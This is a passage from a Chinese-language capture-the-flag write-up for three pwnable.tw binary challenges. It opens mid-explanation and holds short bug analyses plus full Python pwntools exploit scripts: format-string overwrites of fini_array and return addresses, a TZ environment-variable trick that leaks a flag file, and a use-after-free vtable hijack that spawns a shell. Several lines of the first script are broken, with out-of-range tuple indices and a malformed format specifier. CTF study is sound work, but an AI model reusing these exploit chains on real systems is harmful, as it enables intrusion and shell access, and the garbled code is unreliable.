  2. 泄露栈地址,glibc地址,修改printf返回地址;

  3. 修改printf返回地址为add rsp, 0x80; ret;gadget,在格式化串payload后面布置好system("/bin/sh"); rop链.

EXP

#/usr/bin/python3
from pwn import *
import time

local_dbg = 1
libc = ELF("./libc_64.so.6")
elf = ELF("./printable")
context.log_level = "debug"

# const
ret_addr = 0x400925 #ret->read->printf->...
bss_addr = 0x601000
fini_array_0 = 0x600DB8 #fini_array[0]
fini_array_1 = 0x600DB8+8 #fini_array[1]
bss_stdout = 0x601020 # low bytes: 0x2620->0x2540
libc_csu_fini = elf.symbols[b"__libc_csu_fini"]
fini_array_to_bss_offset = bss_addr - fini_array_0
one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
print("[*] libc_csu_fini:", hex(libc_csu_fini))
print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset))

def exp():
    #gdb.attach(p, "b *0x40094d\nc\n")

    # build ret &
    # make stdout->stderr struct &
    # build fake fini_array in bss_start &
    payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1]
    payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0]
    payload1 += "%{}$hnn".format(18) #bss_start[2]
    payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr
    payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2]
    payload1 =  payload1.encode().ljust(0x50, b"\x00")
    payload1 += p64(bss_stdout+1) #16
    payload1 += p64(bss_stdout) #17
    payload1 += p64(bss_addr+2) #18
    payload1 += p64(bss_addr) #19
    p.sendafter("Input :", payload1+b"\n\x00")
    time.sleep(0.5)

    # leak libc & stack
    payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr
    payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c)
    payload2 = payload2.encode()
    p.send(payload2+b"\x00")

    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    print("[*] stack_leak:", hex(stack_leak))
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    print("[*] binsh:", hex(binsh))

    # ret to system("/bin/sh")
    ## some gadgets
    add_rsp_0x80_ret = libc_base + 0x6b4b8
    stack_printf_ret = stack_leak - 0x290
    pop_rdi_ret = 0x4009c3
    print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret))
    print("[*] stack_printf_ret:", hex(stack_printf_ret))

    gadget = add_rsp_0x80_ret
    gadget_addr_parts = {
        0 : gadget&0xffff, 
        1 : (gadget&(0xffff<<16))>>16, 
        2 : (gadget&(0xffff<<32))>>32
    }
    gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1])
    print("[*] sorted one_gadget addr parts:")
    for item in gadget_addr_parts:
        print(item[0], ":", hex(item[1]))

    ## gadget part
    payload3 = "%{}c%{}$hn".format(
    gadget_addr_parts[0][3], 
    0x13)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[1][4] - gadget_addr_parts[0][5], 
    0x14)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[2][6] - gadget_addr_parts[1][7], 
    0x15)
    payload3 = payload3.encode().ljust(0x30, b"\x00")
    ## addrs
    for item in gadget_addr_parts:
        payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15
    ## rop
    rop_chain = p64(0x4009c3) + p64(binsh) + p64(system)
    p.send(payload3 + rop_chain + b"\n\x00")


    # get shell
    #cmd = "cat /home/printable/printable_fl4g 1>&2;"
    p.interactive()
    action = input("What's next: ")
    return False if action == "exit" else True

if __name__ == "__main__":
    global p
    while True:
        #p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"})
        p = remote("chall.pwnable.tw", 10307)
        try:
            ret = exp()
            if ret == False:
                p.close()
                break
            else:
                p.close()
                continue
        except:
            print("ERROR!")
            p.close()

分析

这题主要是三个结构体的利用:

  1. normal heap
  2. clock heap
  3. system heap

normal heap可以在bss上输入content,当play时调用重写功能后,结构体最末尾8个字节会被填满,此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址,同时show功能存在格式化字符串漏洞,虽然是调用的__printf_chk,但是由于栈上有一个可控的buf,可以很容易做到任意地址泄露。

创建clock heap调用了localtime,当环境变量中存在TZTZDIR时,这个函数会把两者拼接成一个完整地址,将地址指向的文件读入堆内存做一系列处理,最后返回一个指向libc中结构体的指针,供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中,但是没有被覆盖掉。

此时发现system heap正好可以设置环境变量,于是大功告成,思路有了。

思路

  1. 泄露堆地址;

  2. 设置TZ环境变量,为flag文件地址;

  3. 创建clock heap

  4. 格式化字符串泄露flag

EXP

from pwn import *

#p = process("./critical_heap")
p = remote("chall.pwnable.tw", 10500)
elf = ELF("./critical_heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"

flag_path = b"/home/critical_heap++/flag"
#flag_path = b"/flag"

def create_normal(name, content):
    '''create_normal(name, content)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Content of heap :", content)

def create_clock(name):
    '''create_clock(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"2\n")

def create_system(name):
    '''create_system(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"3\n")

def show_heap(idx:int):
    '''show_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")

def rename_heap(idx:int, name):
    '''rename_heap(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"3\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Name of heap:", name)

def show_normal_content(idx:int):
    '''show_normal_content(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def change_normal_content(idx:int, content):
    '''change_normal_content(idx:int, content)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Content :", content)
    p.sendafter(b"Your choice : ", b"3\n") #return

def leak_ptr_content(normal_idx:int, ptr, ret:int):
    '''use normal heap's fmt bug'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr)
    print("len(payload):", hex(len(payload)))
    p.sendafter(b"Content :", payload)
    p.sendafter(b"Your choice : ", b"1\n") #show
    if ret==1:
        p.sendafter(b"Your choice : ", b"3\n") #return

def show_clock(idx:int):
    '''show_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def update_clock(idx:int):
    '''update_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def set_system_env(idx:int, name, value):
    '''set_system_env(idx:int, name, value)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Give me a name for the system heap :", name)
    p.sendafter(b"Give me a value for this name :", value)
    p.sendafter(b"Your choice : ", b"5\n") #return

def del_system_env(idx:int, name):
    '''del_system_env(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"What's name do you want to unset :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return

def get_realpath(idx:int):
    '''get_realpath(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"3\n")

def get_value_of_name(idx:int, name):
    '''get_value_of_name(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"What's name do you want to see :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return 

def delete_heap(idx:int):
    '''delete_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"5\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")   

def exp():
    # leak heap
    create_normal(b"AAAA", b"a"*0x28) #0
    create_system(b"BBBB") #1
    change_normal_content(idx=0, content=b"a"*0x28)
    show_heap(idx=0)
    p.recvuntil(b"\x1b!\x1b!")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # modify TZ

    set_system_env(idx=1, name=b"TZ", value=flag_path)
    create_clock(b"DDDD") #2

    heap_flag_ptr = heap_base + 0x440

    # fnt str leak flag
    #gdb.attach(p, "b *0x40194b\nc\n")
    create_normal(b"CCCC", b"a"*0x28) #3
    leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0)
    p.recvuntil(b"||")
    flag = p.recvuntil(b"}").decode()
    print(flag)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

这题乍一看感觉到处都是洞...而且非常纷乱,难以理清思路。但是这题最关键的洞在于实现部分GHOST子类的时候缺少拷贝构造函数。于是应该重点检查成员变量在vector::push_back()触发浅拷贝时的安全性。如吸血鬼Vampire类中char *blood在浅拷贝析构时会发生delete[] blood;。也就是说当一个Vampire实例放入vector中时,它的blood指针就指向了一块释放过的区域,这是本题最关键的利用点。

思路

  1. 知道Vampire存在UAF后应该想如何利用。这里发现如果UAF的堆块大于fast chunk得话,其被释放后立刻会合并到top chunk无法利用,不能直接泄露libc地址;

  2. 于是绕道。我们发现部分类在内存中分配的大小是相等的,如werewolfVampire都是0x70,在fast chunk范围内。也就是说,我们可以创建一个werewolf重新申请回被释放掉的堆块。由于类结构体重要性非常高...于是通过该方法控制类结构体是很可行的;

  3. 完成2中的重申请后,此时应该可以泄露出werewolfvtable从而计算二进制文件的基址;

  4. 此时,释放掉最开始的Vampire。这个释放对于Vampire来说是deep free而对于werewolf来说是shadow free。下面需要用到一个大小同样是0x70且各方面比较“正常”不容易破坏堆结构的类——Mummy。通过调试分析发现,如果在创建Mummy实例时msg大小为0x5f就会覆盖werewolf的类结构。按照这里我们可以伪造werewolf的类结构——保持vtable不变(重要)的情况下修改name指针为保存了堆地址的位置。下次列出所有name的时候就完成了地址泄露;

  5. 按照4中的思路,泄露出__libc_start_main的got表值,计算出libc基址,以及one_gadget地址;

  6. 最后一步,伪造一个vtable。由调试发现vtable+0x10的位置是self.showinfo的函数指针。伪造该指针为one_gadget后替换werewolf的虚表,然后调用该指针完成getshell

其它

  1. 有一个类里面似乎读了flag相关的东西,但是解题没用上,可能这题是多解。或者说原先是个AD题。

EXP:

from pwn import *
import time

#p = process("./ghostparty")
p = remote("chall.pwnable.tw", 10401)
elf = ELF("./ghostparty")
#libc = ELF("./libc_64.so.6")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

'''
-----------------
 1.Werewolf      
 2.Devil         
 3.Zombie        
 4.Skull         
 5.Mummy         
 6.Dullahan      
 7.Vampire       
 8.Yuki-onna     
 9.Kasa-obake    
 10.Alan         
-----------------
'''

# const
TYPE_WEREWOLF = 0x1
TYPE_DEVIL = 0x2
TYPE_ZOMBIE = 0x3
TYPE_SKULL = 0x4
TYPE_MUMMY = 0x5
TYPE_DULLAHAN = 0x6
TYPE_VAMPIRE = 0x7
TYPE_YUKI = 0x8
TYPE_KASA = 0x9
TYPE_ALAN = 0xa

ACTION_JOIN = 0x1
ACTION_GIVEUP = 0x2
ACTION_JOINANDSHOW = 0x3

vector_ghostlist_offset = 0x211030
libc_start_main_got_offset = 0x210E90

one_list_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_list_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

def _add_ghost(name, age:int, msg, ghost_type:int):
    p.sendafter(b"Your choice :", b"1\n")
    p.sendafter(b"Name : ", name+b"\n")
    p.sendafter(b"Age : ", str(age).encode()+b"\n")
    p.sendafter(b"Message : ", msg+b"\n")
    p.recvuntil(b"Choose a type of ghost :")
    p.sendline(str(ghost_type).encode())

def _do_action(action):
    p.sendafter(b"Your choice : ", str(action).encode()+b"\n")

def get_name_list():
    p.sendafter(b"Your choice :", b"2\n")

'''
1.Join       
2.Give up
3.Join and hear what the ghost say
'''

def add_werewolf(name, age:int, msg, full_moon:int, action:int):
    '''name, age:int, msg, full_moon:int, action:int'''
    _add_ghost(name, age, msg, TYPE_WEREWOLF)
    p.sendafter(b"Full moon ? (1:yes/0:no):", str(full_moon).encode()+b"\n")
    _do_action(action)

def add_devil(name, age:int, msg, power, action:int):
    '''name, age:int, msg, power, action:int'''
    _add_ghost(name, age, msg, TYPE_DEVIL)
    p.sendafter(b"Add power : ", power+b"\n")
    _do_action(action)

def add_zombie(name, age:int, msg, action:int):
    '''name, age:int, msg, action:int'''
    _add_ghost(name, age, msg, TYPE_ZOMBIE)
    _do_action(action)

def add_skull(name, age:int, msg, bones:int, action:int):
    '''name, age:int, msg, bones:int, action:int'''
    _add_ghost(name, age, msg, TYPE_SKULL)
    p.sendafter(b"How many bones ? : ", str(bones).encode()+b"\n")
    _do_action(action)

def add_mummy(name, age:int, msg, commit, action:int):
    '''name, age:int, msg, commit, action:int'''
    _add_ghost(name, age, msg, TYPE_MUMMY)
    p.sendafter(b"Commit on bandage : ", commit+b"\n")
    _do_action(action)

def add_dullahan(name, age:int, msg, weapon, action:int):
    '''name, age:int, msg, weapon, action:int'''
    _add_ghost(name, age, msg, TYPE_DULLAHAN)
    p.sendafter(b"Give a weapon : ", weapon+b"\n")
    _do_action(action)

def add_vampire(name, age:int, msg, blood, action:int):
    '''name, age:int, msg, blood, action:int'''
    _add_ghost(name, age, msg, TYPE_VAMPIRE)
    p.sendafter(b"Add blood :", blood+b"\n")
    _do_action(action)

def add_yuki(name, age:int, msg, cold, action:int):
    '''name, age:int, msg, cold, action:int'''
    _add_ghost(name, age, msg, TYPE_YUKI)
    p.sendafter(b"Cold :", cold+b"\n")
    _do_action(action)

def add_kasa(name, age:int, msg, foot:int, eyes, echo, action:int):
    '''name, age:int, msg, foot:int, eyes, echo, action:int'''
    _add_ghost(name, age, msg, TYPE_KASA)
    p.sendafter(b"foot number :", str(foot).encode()+b"\n")
    p.sendafter(b"Eyes : ", eyes+b"\n")
    p.sendafter(b"Input to echo :", echo)
    _do_action(action)

def add_alan(name, age:int, msg, lightsaber, action:int):
    '''name, age:int, msg, lightsaber, action:int'''
    _add_ghost(name, age, msg, TYPE_ALAN)
    p.sendafter(b"Your lightsaber : ", lightsaber+b"\n")
    _do_action(action)

def show_ghost(idx:int):
    p.sendafter(b"Your choice :", b"2\n")
    p.sendafter(b"which you want to show in the party : ", str(idx).encode()+b"\n")

def night():
    p.sendafter(b"Your choice :", b"3\n")

def rmghost(idx:int):
    p.sendafter(b"Your choice :", b"4\n")
    p.sendafter(b"which you want to remove from the party : ", str(idx).encode()+b"\n")

def end_party():
    p.sendafter(b"Your choice :", b"5\n")

def get_fake_werewolf_obj(vtable, ptr_to_leak):
    return (p64(vtable) + p64(0) + p64(ptr_to_leak)).ljust(0x5f, b"\x00")

def exp():
    # leak vtable && image_base
    add_vampire(name=b"AAAA", age=1, msg=b"aaaa", blood=b"a"*0x5f, action=ACTION_JOINANDSHOW) #0
    add_werewolf(name=b"BBBB", age=1, msg=b"bbb", full_moon=1, action=ACTION_JOINANDSHOW) #1
    show_ghost(0)
    p.recvuntil(b"Blood : ")
    vtable_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) # werewolf's vtable
    werewolf_vtable = vtable_leak
    image_base = vtable_leak - 0x210b98
    print("[*] vtable_leak:", hex(vtable_leak))
    print("[*] image_base:", hex(image_base))

    # leak heap
    ## deep free obj_0 && shallow free obj_1
    rmghost(0)
    vector_ghostlist = image_base + vector_ghostlist_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, vector_ghostlist)
    add_mummy(name=b"CCCC", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    show_ghost(0) # leak what name_ptr point to
    p.recvuntil(b"Name : ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12d40
    print("[*] heap_leak:", hex(heap_leak))
    print("[*] heap_base:", hex(heap_base))

    # leak libc
    ## deep free obj_1 && shallow free obj_0
    rmghost(1)
    libc_start_main_got = image_base + libc_start_main_got_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, libc_start_main_got)
    add_mummy(name=b"DDDD", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    get_name_list()
    p.recvuntil(b": ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"__libc_start_main"]
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    p.sendline(b"1")

    # attack vtable
    rmghost(1)
    fake_vtable_addr = heap_base + 0x12e40 + 0x8
    one_gadget = libc_base + one_list_remote[2]
    fake_vtable = p64(0)*2 + p64(one_gadget) # vtable+0x10 -> self.showinfo()
    fake_werewolf_obj = (p64(fake_vtable_addr) + fake_vtable).ljust(0x5f, b"\x00")
    add_mummy(name=b"EEEE", age=1, msg=fake_werewolf_obj, commit=b"shell", action=ACTION_JOINANDSHOW) #0/1

    # getshell
    p.sendline(b"2")
    p.sendline(b"0") # call self.showinfo() -> one_gadget to get shell

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()